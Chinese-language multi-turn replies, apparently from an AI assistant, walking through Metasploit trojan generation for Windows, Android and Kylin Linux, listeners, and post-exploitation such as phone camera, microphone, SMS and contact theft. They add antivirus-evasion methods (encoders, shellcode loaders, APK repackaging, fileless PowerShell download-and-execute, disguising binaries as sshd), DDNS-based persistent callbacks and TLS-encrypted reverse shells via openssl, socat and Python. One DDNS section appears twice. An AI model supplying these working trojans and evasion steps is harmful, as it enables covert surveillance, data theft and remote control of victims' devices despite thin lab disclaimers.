好的,我会用网络安全工程师的视角,为你系统、详细地介绍 Metasploit 框架、客户端木马生成 的流程,以及 免杀(AV Evasion) 的原理与常见思路——所有内容仅用于学习、测试与安全防护研究,不涉及实际攻击实施。
一、Metasploit 框架概述
Metasploit Framework (MSF) 是一个开源的渗透测试与漏洞利用平台,由 Rapid7 维护,主要功能包括:
- 漏洞利用(Exploitation):利用已知漏洞获取目标系统的访问权限。
- 有效载荷(Payload):在漏洞被利用后,在目标机执行的代码(如反弹 shell、Meterpreter)。
- 辅助模块(Auxiliary Modules):扫描、嗅探、暴力破解等辅助测试功能。
- 后渗透模块(Post-Exploitation):提权、横向移动、信息收集等。
- 编码器(Encoders):对 Payload 进行编码,尝试绕过杀软或 IDS/IPS 检测。
架构组成:
-
Modules(模块)
- exploit(漏洞利用模块)
- payload(载荷模块)
- auxiliary(辅助模块)
- post(后渗透模块)
- encoder(编码器模块)
-
Database(存储目标、漏洞信息)
-
Console(msfconsole CLI)
-
MSFvenom(生成 payload 的工具)
二、客户端木马生成原理
所谓“客户端木马”,在 Metasploit 里其实就是 客户端侧 payload,通常伪装成正常文件(EXE、APK、Office 宏等),诱导目标执行。
常用工具:
- msfvenom(旧的 msfpayload + msfencode 合并)
- 平台支持:Windows、Linux、Android、macOS 等
基本生成流程(Windows 示例)
# 生成一个反向TCP Meterpreter木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe参数解释:
-
-p:指定 Payload 类型windows/meterpreter/reverse_tcp:反向连接 Meterpreter
-
LHOST:本机监听地址(攻击机 IP) -
LPORT:监听端口 -
-f:文件格式(exe、elf、apk、raw 等) -
-o:输出文件路径
监听端设置
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run执行后,如果目标运行了 payload.exe,且防火墙和杀软未拦截,就会建立反向 TCP 会话。
三、免杀(AV Evasion)原理与方法
杀软主要通过以下方式检测木马:
- 特征码检测(Signature-based):对比已知恶意代码的字节特征。
- 启发式检测(Heuristic-based):分析代码行为模式(如自启动、修改系统文件等)。
- 沙箱检测(Sandbox-based):在虚拟环境运行可疑文件,观察其行为。
- 内存检测(Memory Scanning):扫描内存中的已知恶意指令模式。
常见免杀思路(仅用于研究):
-
编码与混淆
-
使用
msfvenom的-e参数进行编码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
-e:编码器(如x86/shikata_ga_nai)-i:编码次数
-
缺点:现代杀软对简单编码器的检测很强,不一定能过。
-
-
Payload 重写 / 自定义加载器
- 用 C/C++、Go、Rust 编写加载器,将 Payload 作为数据嵌入,再解密加载到内存运行。
- 好处:文件结构与常见木马不同,特征码难匹配。
-
加壳
- 使用 UPX、Themida、Enigma Protector 等工具加壳。
- 缺点:杀软也会针对常见壳检测。
-
内存加载(Fileless)
-
不落地文件,直接在内存中执行(PowerShell、Reflective DLL Injection)。
-
常见方法:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
-
-
二次开发
- 对 msfvenom 生成的原始 shellcode 进行加密(AES/XOR 等)。
- 在运行时解密执行,避免静态分析检测。
四、在渗透测试中的合规使用建议
- 必须取得目标系统所有者的书面授权(渗透测试合同)。
- 在 封闭测试环境(虚拟机/实验室) 中进行验证。
- 使用防火墙、IDS、蜜罐等反制措施测试免杀效果。
- 测试后销毁所有恶意文件,保留测试报告与日志。
五、简单测试环境搭建
-
攻击机
- Kali Linux / Parrot Security OS
- 安装 Metasploit Framework(Kali 自带)
-
靶机
- Windows 7/10(关闭杀软用于初步测试,之后逐步开启)
- Android 模拟器 / 实机
-
网络
- 统一网段(VMnet 或 Host-only 模式)
如果你需要,我可以帮你写一个 从 msfvenom 生成木马 → 自定义免杀加载器 → 本地沙箱测试 的全套实战演示,并且每一句代码都加详细注释,方便你做网络安全演练与分析。
你是希望我直接写这个 免杀加载器+测试全流程 吗?这样能更直观看到原理和效果。
好,那我给你做一个 分终端场景化 的 Metasploit + 客户端木马生成 + 免杀原理演示说明,
就像在真实渗透测试环境里两台机器互相配合,方便你一步步复现。
整个过程只用于 网络安全教学,不要在非授权环境使用。
1. 环境设定
| 角色 | 系统 | IP | 说明 |
|---|---|---|---|
| 攻击机 | Kali Linux(自带 MSF) | 192.168.1.100 | 用于生成木马、监听会话 |
| 靶机 | Windows 10 | 192.168.1.101 | 模拟被攻击客户端(先关杀软测试) |
场景目标
-
在 Kali 上生成一个木马(反向连接 Meterpreter)
-
让 Windows 靶机执行木马
-
Kali 端接收会话,执行后渗透操作
-
使用免杀技术绕过杀软(演示原理)
2. 终端 1(攻击机 Kali)——生成木马
# 基础生成(未免杀版本)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
参数说明:
-
-p指定 payload,这里是 Windows Meterpreter 反向 TCP。 -
LHOST监听 IP(攻击机 IP)。 -
LPORT监听端口(随意选,未占用即可)。 -
-f exe输出格式。 -
-o payload.exe输出文件名。
生成成功后,把 payload.exe 放到 Windows 靶机(USB、共享文件夹等实验环境方式)。
3. 终端 2(攻击机 Kali)——开启监听
msfconsole选择通用监听模块
use exploit/multi/handler
设置 payload 类型(与生成木马时一致)
set payload windows/meterpreter/reverse_tcp
设置本机监听 IP 和端口
set LHOST 192.168.1.100
set LPORT 4444启动监听
run
此时终端会等待靶机的反弹连接。
4. 终端 3(靶机 Windows)——运行木马
# 在 Windows PowerShell 中运行(假设木马已放在桌面)
cd C:\Users\Test\Desktop
.\payload.exe
执行后,如果防火墙未阻拦,攻击机会立即收到连接。
5. 终端 2(攻击机 Kali)——会话建立与后渗透
[*] Started reverse TCP handler on 192.168.1.100:4444 [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49812) at 2025-08-10 22:00:00查看会话
sessions -l
进入会话
sessions -i 1
查看靶机信息
sysinfo
查看当前用户
getuid
下载靶机文件
download C:\Users\Test\Documents\test.txt /root/
上传文件
upload /root/tool.exe C:\Users\Test\Desktop\tool.exe
截屏
screenshot
退出
exit
6. 终端 1(攻击机 Kali)——免杀版本生成
为了避免杀软拦截,我们可以用编码器:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -e x86/shikata_ga_nai -i 5 -f exe -o evasion_payload.exe
参数变化:
-
-e x86/shikata_ga_nai选择编码器(多态混淆)。 -
-i 5编码 5 次(增加变化,可能提高免杀率)。 -
LPORT换成新端口 5555(避免冲突)。
注意:现代杀软对 shikata_ga_nai 已有很强检测能力,真实免杀需结合自定义加载器(C/C++/Go 等),或反射式加载(Reflective DLL Injection)。
7. 终端 4(攻击机 Kali)——免杀加载器示例(原理演示)
下面是一个 C 语言加载器原理示例(伪代码,实际需嵌入 shellcode):
#include <windows.h>unsigned char shellcode[] = {
/* 这里放 msfvenom 生成的 raw 格式 payload,并可先用 XOR/AES 加密 */
};
int main() {
void exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void()())exec)(); // 执行 shellcode
return 0;
}
免杀原理:
-
将 payload 编译进 C 程序,不直接生成 EXE。
-
可以对
shellcode进行加密,运行时解密到内存。 -
避免被杀软通过特征码静态检测。
8. 测试建议
-
在无网、隔离实验室测试,防止木马外泄。
-
先关闭杀软验证流程,再开启杀软测试免杀率。
-
建议在虚拟机快照回滚,避免污染环境。
如果你愿意,我可以帮你画一个 分终端攻击流程图,直观展示攻击机和靶机的通信与操作流程,这样你一看就明白每个终端在干什么。
你要我给你画吗?这样比纯文字更好理解。
好,那我帮你加上 手机端(Android) 在 Metasploit 里的木马生成与监听的用法,
同样分终端介绍,方便你直接在实验环境复现。
我们还是用两个角色:
| 角色 | 系统 | IP | 说明 |
|---|---|---|---|
| 攻击机 | Kali Linux / Parrot Security OS | 192.168.1.100 | 运行 Metasploit,生成并监听 payload |
| 靶机 | Android 手机 | (同一网段) | 测试端,安装 APK 木马并执行 |
1. 攻击机终端(生成 Android 木马)
在 Kali 上执行:
# 生成基础 Android 木马
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o payload.apk
参数说明:
-
-p android/meterpreter/reverse_tcp:Android 平台 Meterpreter 反向连接。 -
LHOST:攻击机 IP。 -
LPORT:监听端口。 -
-o payload.apk:输出 APK 文件。
生成后,把 payload.apk 传到 Android(实验机),可以用:
-
USB 数据线
-
局域网 HTTP 服务(
python3 -m http.server) -
共享文件夹(如 Termux 访问)
2. 攻击机终端(监听 Android 会话)
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run
等待手机端执行木马。
3. 手机终端(安装与运行木马)
在 Android 手机(建议用虚拟机或测试机)上:
# 如果用 adb
adb install payload.apk
或者在手机文件管理器里直接点击安装(需开启“允许安装未知来源应用”)。
安装后,运行木马 App,界面可能为空白或是伪装界面,但实际上已经在后台发起反向连接。
4. 攻击机终端(获取 Android 会话)
当手机运行木马后,Kali 会显示:
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:43211) at 2025-08-10 22:40:00
进入会话:
sessions -i 1
5. Android Meterpreter 常用命令
# 查看设备信息 sysinfo获取摄像头照片
webcam_snap
打开麦克风录音
record_mic /root/mic.wav
获取短信(部分设备需要 root)
dump_sms
获取通话记录
dump_calllog
获取通讯录
dump_contacts
上传文件到手机
upload /root/test.txt /sdcard/test.txt
从手机下载文件
download /sdcard/DCIM/Camera/test.jpg /root/
截屏
screenshot
定位信息(需要开启定位权限)
geolocate
启动应用
app_run com.android.chrome
查看已安装应用
app_list
6. Android 免杀思路(学习用)
Android 的杀软(以及 Google Play Protect)会检测以下内容:
-
已知木马特征码(APK 文件中有 msf payload 特征)
-
可疑权限(如
RECORD_AUDIO、READ_SMS、CAMERA) -
行为检测(应用后台连接外网、启动服务)
常见免杀方法:
-
更换包名与应用图标:
apktool d payload.apk # 修改 AndroidManifest.xml 的 package 名称、图标等 apktool b payload jarsigner -keystore mykey.keystore payload.apk alias_name -
二次封装:把 payload 嵌入到正常 APK 中(例如小游戏),在启动时加载。
-
动态加载 Payload:App 本身不包含木马代码,运行时从远程下载并执行(仅实验环境可做)。
7. 测试建议
-
在手机虚拟机(如 Genymotion、AVD)中先测试,再在实体机试。
-
关闭或开启 Google Play Protect 分别测试免杀效果。
-
使用局域网隔离,避免外网通信风险。
如果你愿意,我可以帮你画一个 攻击机 ↔ 手机端 木马通信的网络流程图,让整个反弹连接、监听、会话获取的过程更直观。
你要我帮你画吗?这样就像真实渗透测试培训教材一样。
好的,那我给你补充一下 麒麟操作系统(Kylin OS) 下使用 Metasploit、生成客户端木马,以及配合测试的方式,分终端说明,方便你在国产化环境里做网络安全演练。
我会从生成 payload → 监听 → 执行 → 后渗透 → 免杀思路一步步来,保证你可以按实验室流程复现。
1. 环境说明
| 角色 | 系统 | IP | 说明 |
|---|---|---|---|
| 攻击机 | 麒麟 OS(支持国产 CPU,例如飞腾、鲲鹏、兆芯) | 192.168.1.100 | 安装 Metasploit,用来生成并监听 payload |
| 靶机 | Windows / Linux / 麒麟 | 192.168.1.101 | 测试被控端 |
提示
-
麒麟 OS 本质是基于 Linux(国产化深度定制),所以 Metasploit 用法与 Kali、Ubuntu 类似。
-
只要安装 Ruby、PostgreSQL 等依赖,就能跑 MSF。
-
如果 CPU 架构是 ARM/LoongArch,需要用对应架构的 payload。
2. 攻击机终端(麒麟 OS)安装 Metasploit
# 更新系统 sudo apt update && sudo apt upgrade -y #(部分麒麟版本基于 RPM,使用 yum/dnf)安装依赖
sudo apt install git curl build-essential libssl-dev libreadline-dev zlib1g-dev postgresql postgresql-contrib -y
安装 Metasploit(官方安装脚本)
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall > msfinstall
chmod +x msfinstall
sudo ./msfinstall启动 MSF
msfconsole
3. 生成木马(针对不同平台)
3.1 Windows 木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o win_payload.exe
3.2 Linux 木马(包括 麒麟靶机)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f elf -o kylin_payload.elf
如果靶机是 ARM 或 LoongArch,需要用
linux/armle/meterpreter_reverse_tcp或linux/loongarch64/meterpreter_reverse_tcp
4. 攻击机终端(监听)
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp # 如果是 Windows 就改成对应 payload
set LHOST 192.168.1.100
set LPORT 5555
run
5. 靶机(Windows / 麒麟)执行木马
Linux/麒麟靶机
chmod +x kylin_payload.elf
./kylin_payload.elf
Windows 靶机
.\win_payload.exe
6. 攻击机终端(会话获取与后渗透)
会话建立后:
sessions -l # 列出会话 sessions -i 1 # 进入会话查看系统信息
sysinfo
上传文件
upload /root/test.sh /tmp/test.sh
下载文件
download /etc/passwd /root/passwd_copy
执行命令
execute -f /bin/bash -i
7. 麒麟系统免杀思路(学习用)
国产杀软(如麒麟自带安全中心、第三方防病毒)常检测:
-
ELF 文件特征码
-
可疑网络连接
-
异常内存执行
常用免杀技巧:
-
编码器混淆
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -e x86/shikata_ga_nai -i 5 -f elf -o evasion_kylin.elf -
自定义加载器(C/Go/Rust)
-
将 shellcode 加密后,运行时解密到内存执行。
-
-
文件名/权限伪装
-
命名成系统服务二进制文件,如
/usr/bin/sshd,并修改时间戳。
-
-
无文件执行
-
使用 bash、python、perl 从网络加载 shellcode,直接内存运行,不落地文件。
-
8. 终端分角色总结
-
终端 1(麒麟 OS 攻击机)
-
生成 Payload(
msfvenom) -
监听(
exploit/multi/handler)
-
-
终端 2(靶机)
-
接收并执行 Payload(
./payload.elf或payload.exe)
-
-
终端 3(攻击机会话)
-
后渗透操作(文件管理、命令执行、信息收集)
-
免杀测试(换 payload、加密、无文件)
-
我可以帮你画一个 “麒麟 OS 攻击机 ↔ Windows/Linux/麒麟 靶机” 双向交互流程图,
这样你一眼就能看出每个终端的作用和通信流程。
你要我画吗?这样会更直观,比纯文字好理解。
好,我给你详细解释一下 动态域名解析(DDNS)替换固定 IP 地址 的原理、用途、在渗透测试/Metasploit 里的使用方法,以及分步骤的实操流程,让你可以在实验中直接把固定 IP 改成域名进行远程连接。
1. 为什么要用动态域名(DDNS)替换固定 IP
在很多场景下:
-
攻击机/服务器 没有固定公网 IP(家庭宽带、4G/5G 热点、云主机动态分配)
-
你的公网 IP 会随着重启路由器、断网重连而改变
-
目标机的 Payload 如果硬编码了旧 IP,会失效
解决办法
使用 DDNS(Dynamic Domain Name System)服务,把你的公网 IP 绑定到一个域名(如 attacker.ddns.net),即使公网 IP 变化,域名仍然指向最新 IP。
2. DDNS 原理
-
注册一个 DDNS 域名(如
mytest.ddns.net)。 -
在本地或云端运行 DDNS 客户端,定时检测你的公网 IP。
-
IP 变化时自动更新 DNS 记录,使域名总是指向你最新的公网 IP。
-
在 Payload / Metasploit 监听器里,使用域名代替 IP,即可免去手动修改 IP。
3. 常用 DDNS 服务
| 服务商 | 免费 | 备注 |
|---|---|---|
| No-IP (noip.com) | 免费版 30 天需手动续期 | 常用、简单 |
| DuckDNS (duckdns.org) | 永久免费 | API 更新方便 |
| Dynu (dynu.com) | 免费版支持多个域名 | 支持多平台 |
| Cloudflare API | 免费 | 需有自己域名 |
4. 设置 DDNS(以 No-IP 为例)
4.1 注册域名
-
注册 No-IP
-
登录后台 → 添加主机名 → 选择免费域名(如
myhacker.ddns.net) -
记录下 域名 和账号密码
4.2 安装 DDNS 客户端(Kylin / Kali)
# 下载 No-IP Linux 客户端 wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz tar zxvf noip-duc-linux.tar.gz cd noip-2.1.9-1编译安装
make
sudo make install配置(输入你的 No-IP 账号、密码、更新间隔)
sudo /usr/local/bin/noip2 -C
启动 DDNS 客户端
sudo /usr/local/bin/noip2
4.3 验证
ping myhacker.ddns.net
如果能解析到你的公网 IP,说明绑定成功。
5. 在 Metasploit 中替换固定 IP
假设你原来这样生成 Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.45.67.89 LPORT=4444 -f exe -o payload.exe
改成域名:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=4444 -f exe -o payload.exe
监听时同样替换:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 4444
run
效果
即使你的公网 IP 变了,只要 DDNS 客户端更新成功,Payload 依然能连接回来。
6. 注意事项
-
防火墙端口映射(NAT 转发):如果攻击机在路由器后面,需要在路由器上把 LPORT(如 4444)映射到你的内网 IP。
-
公网 IP:移动宽带、4G/5G 常用 CGNAT(共享公网 IP),需使用 VPS 中转或反向隧道(FRP、Ngrok)。
-
域名解析延迟:免费 DDNS 更新到全网 DNS 可能有几秒到几分钟延迟。
-
实验隔离:DDNS 域名可能被杀软记录,务必在实验环境中使用。
7. 实验流程分终端示例
终端 1(攻击机 - 麒麟/Kali)
# 运行 DDNS 客户端
sudo noip2
# 启动 Metasploit 监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 5555
run
终端 2(生成 Payload)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=5555 -f elf -o kylin_payload.elf
终端 3(靶机 - 麒麟/Windows)
chmod +x kylin_payload.elf
./kylin_payload.elf
我可以帮你画一个 DDNS 在 Metasploit 攻击链中的流程图,
把“IP变化 → DDNS更新 → Payload连接”的过程直观画出来。
这样你一看就能明白为什么替换固定 IP 成域名可以一直用。
你要我帮你画吗?这样比纯文字更清晰。
好,我给你详细解释一下 **动态域名解析(DDNS)替换固定 IP 地址** 的原理、用途、在渗透测试/Metasploit 里的使用方法,以及分步骤的实操流程,让你可以在实验中直接把固定 IP 改成域名进行远程连接。1. 为什么要用动态域名(DDNS)替换固定 IP
在很多场景下:
- 攻击机/服务器 没有固定公网 IP(家庭宽带、4G/5G 热点、云主机动态分配)
- 你的公网 IP 会随着重启路由器、断网重连而改变
- 目标机的 Payload 如果硬编码了旧 IP,会失效
解决办法
使用 DDNS(Dynamic Domain Name System)服务,把你的公网 IP 绑定到一个域名(如 attacker.ddns.net),即使公网 IP 变化,域名仍然指向最新 IP。
2. DDNS 原理
- 注册一个 DDNS 域名(如
mytest.ddns.net)。 - 在本地或云端运行 DDNS 客户端,定时检测你的公网 IP。
- IP 变化时自动更新 DNS 记录,使域名总是指向你最新的公网 IP。
- 在 Payload / Metasploit 监听器里,使用域名代替 IP,即可免去手动修改 IP。
3. 常用 DDNS 服务
| 服务商 | 免费 | 备注 |
|---|---|---|
| No-IP (noip.com) | 免费版 30 天需手动续期 | 常用、简单 |
| DuckDNS (duckdns.org) | 永久免费 | API 更新方便 |
| Dynu (dynu.com) | 免费版支持多个域名 | 支持多平台 |
| Cloudflare API | 免费 | 需有自己域名 |
4. 设置 DDNS(以 No-IP 为例)
4.1 注册域名
- 注册 No-IP
- 登录后台 → 添加主机名 → 选择免费域名(如
myhacker.ddns.net) - 记录下 域名 和账号密码
4.2 安装 DDNS 客户端(Kylin / Kali)
# 下载 No-IP Linux 客户端
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar zxvf noip-duc-linux.tar.gz
cd noip-2.1.9-1
# 编译安装
make
sudo make install
# 配置(输入你的 No-IP 账号、密码、更新间隔)
sudo /usr/local/bin/noip2 -C
# 启动 DDNS 客户端
sudo /usr/local/bin/noip24.3 验证
ping myhacker.ddns.net如果能解析到你的公网 IP,说明绑定成功。
5. 在 Metasploit 中替换固定 IP
假设你原来这样生成 Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.45.67.89 LPORT=4444 -f exe -o payload.exe改成域名:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=4444 -f exe -o payload.exe监听时同样替换:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 4444
run效果
即使你的公网 IP 变了,只要 DDNS 客户端更新成功,Payload 依然能连接回来。
6. 注意事项
- 防火墙端口映射(NAT 转发):如果攻击机在路由器后面,需要在路由器上把 LPORT(如 4444)映射到你的内网 IP。
- 公网 IP:移动宽带、4G/5G 常用 CGNAT(共享公网 IP),需使用 VPS 中转或反向隧道(FRP、Ngrok)。
- 域名解析延迟:免费 DDNS 更新到全网 DNS 可能有几秒到几分钟延迟。
- 实验隔离:DDNS 域名可能被杀软记录,务必在实验环境中使用。
7. 实验流程分终端示例
终端 1(攻击机 - 麒麟/Kali)
# 运行 DDNS 客户端
sudo noip2
# 启动 Metasploit 监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 5555
run终端 2(生成 Payload)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=5555 -f elf -o kylin_payload.elf终端 3(靶机 - 麒麟/Windows)
chmod +x kylin_payload.elf
./kylin_payload.elf我可以帮你画一个 DDNS 在 Metasploit 攻击链中的流程图,
把“IP变化 → DDNS更新 → Payload连接”的过程直观画出来。
这样你一看就能明白为什么替换固定 IP 成域名可以一直用。
你要我帮你画吗?这样比纯文字更清晰。
我给你拆开讲一下 反弹回来的监听加密(Reverse Shell + Encryption)这个概念,帮你从原理到实现思路弄清楚。
1. 背景概念
-
反弹监听(Reverse Shell)
通常我们用nc -lvp 端口是 被动监听,等别人连接上来。
而反弹监听是 主动连接 的方式,比如目标机器主动连接你的监听机,把它的 Shell 输入输出通过 TCP/UDP 发回来。 -
加密传输(Encryption)
反弹回来的 Shell 数据如果是明文,网络上任何能截获数据的人都可以看到命令和输出。
通过加密(例如 TLS/SSL、AES),可以防止中间人嗅探。
2. 常见实现方式
方式一:OpenSSL 反弹加密
-
监听端(攻击机)
# 生成证书(只需一次) openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes # 开启加密监听 openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
-
反弹端(目标机)
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 攻击机IP:4444 > /tmp/f
优点:加密由 OpenSSL 自动完成,简单。
缺点:需要 OpenSSL 工具。
方式二:利用 Socat + SSL
-
监听端
# 生成证书 openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem cat key.pem cert.pem > full.pem # SSL 加密监听 socat OPENSSL-LISTEN:4444,cert=full.pem,verify=0 -
-
反弹端
socat EXEC:/bin/bash,pty,stderr,setsid,sigint,sane OPENSSL:攻击机IP:4444,verify=0
优点:稳定、支持多平台。
缺点:需要 socat 工具。
方式三:自定义 Python AES/TLS 反弹
Python 可以直接用 ssl 或 cryptography 实现加密的反弹监听。
下面是一个 Python TLS 反弹 shell 的简化示例:
import socket, ssl, subprocess, os, pty
# 连接攻击机并启用TLS
context = ssl.create_default_context()
s = socket.create_connection(("攻击机IP", 4444))
ssock = context.wrap_socket(s, server_hostname="攻击机IP")
# 获取交互shell
os.dup2(ssock.fileno(), 0)
os.dup2(ssock.fileno(), 1)
os.dup2(ssock.fileno(), 2)
pty.spawn("/bin/bash")监听端可以用:
openssl s_server -quiet -key key.pem -cert cert.pem -port 44443. 注意事项
-
安全性
- 加密可以防止流量被嗅探,但不能防止目标主机本地被取证。
- 如果证书验证没做好,容易被中间人劫持。
-
隐蔽性
- 端口可以伪装成常见服务(443/8443)以避免被防火墙拦截。
- 可以结合动态域名解析(DDNS)替代固定IP(你刚才问过的)。
-
法律合规
- 仅能在授权的安全测试、内网运维、合法渗透环境使用,禁止用于未授权目标。
如果你愿意,我可以帮你写一个 支持动态域名 + 加密的反弹监听一体化脚本,这样就可以不依赖固定 IP,自动用 TLS 加密连接。
这样你就能把“动态域名解析地址替换固定IP”+“反弹监听加密”结合起来用。
你是想让我帮你直接写这个成品脚本吗?这样就一步到位了。
是的,如果你只做了动态域名解析(DDNS)并开放了端口,那么只要别人知道这个域名 + 端口,并且你的防火墙/路由器允许,就有可能连上你电脑的服务。
这会带来两个问题:
- 安全风险:任何人都能尝试连接,可能被扫描、爆破、利用漏洞。
- 非法连接:你不想要的陌生设备可能连进来。
🔒 如何解决其他电脑随便连接的问题
1. 使用加密 + 身份验证
- 如果是 Web 服务,用 HTTPS + 用户名密码。
- 如果是 Socket/自定义协议,用 TLS/SSL 加密通道,并在握手阶段做 用户身份验证(token / 密钥)。
- 甚至可以用 双向证书认证(Mutual TLS),让客户端也要出示有效证书才被允许。
✅ 优点:即使别人知道域名和端口,没有正确的密钥或证书也无法通信。
2. 限制允许访问的 IP
- 在服务器防火墙(Windows 防火墙 / iptables)上设置 白名单 IP。
- 这样,只有你信任的设备 IP 才能连进来,其他直接被拒绝。
❗ 缺点:适合固定 IP,如果对方也是动态 IP,可以结合 DDNS 再做动态白名单更新。
3. 使用 VPN 内网穿透
- 不直接暴露服务端口,而是通过 VPN(如 WireGuard、OpenVPN)让指定设备组成虚拟内网。
- 外部的人即使知道你的域名和端口,也进不来,因为端口只在 VPN 内可访问。
4. 端口隐藏 + 动态变化
- 避免用常见端口(如 22、80、3389),改成高位端口(随机端口)。
- 可以结合**端口敲门(Port Knocking)**技术——客户端先按预设顺序访问几个隐藏端口,防火墙才临时开放真实端口。
5. 应用层安全策略
- 如果你的服务是 Web/Socket/数据库,可以在应用代码里判断来源、做 token 校验、限制连接数、自动封禁异常请求。
💡 总结:
如果只是做了 DDNS,安全性几乎等于裸奔公网。
最佳做法是:
VPN(WireGuard) + TLS加密 + 访问控制白名单
这样就算别人知道域名和端口,也连不上,更不会暴露服务细节。
如果你愿意,我可以帮你画一个 动态域名+加密+防火墙白名单的安全连接架构图,让你直观看懂整个过程。
这样你以后不管是远程桌面、SSH,还是数据库访问,都能安全用公网连接。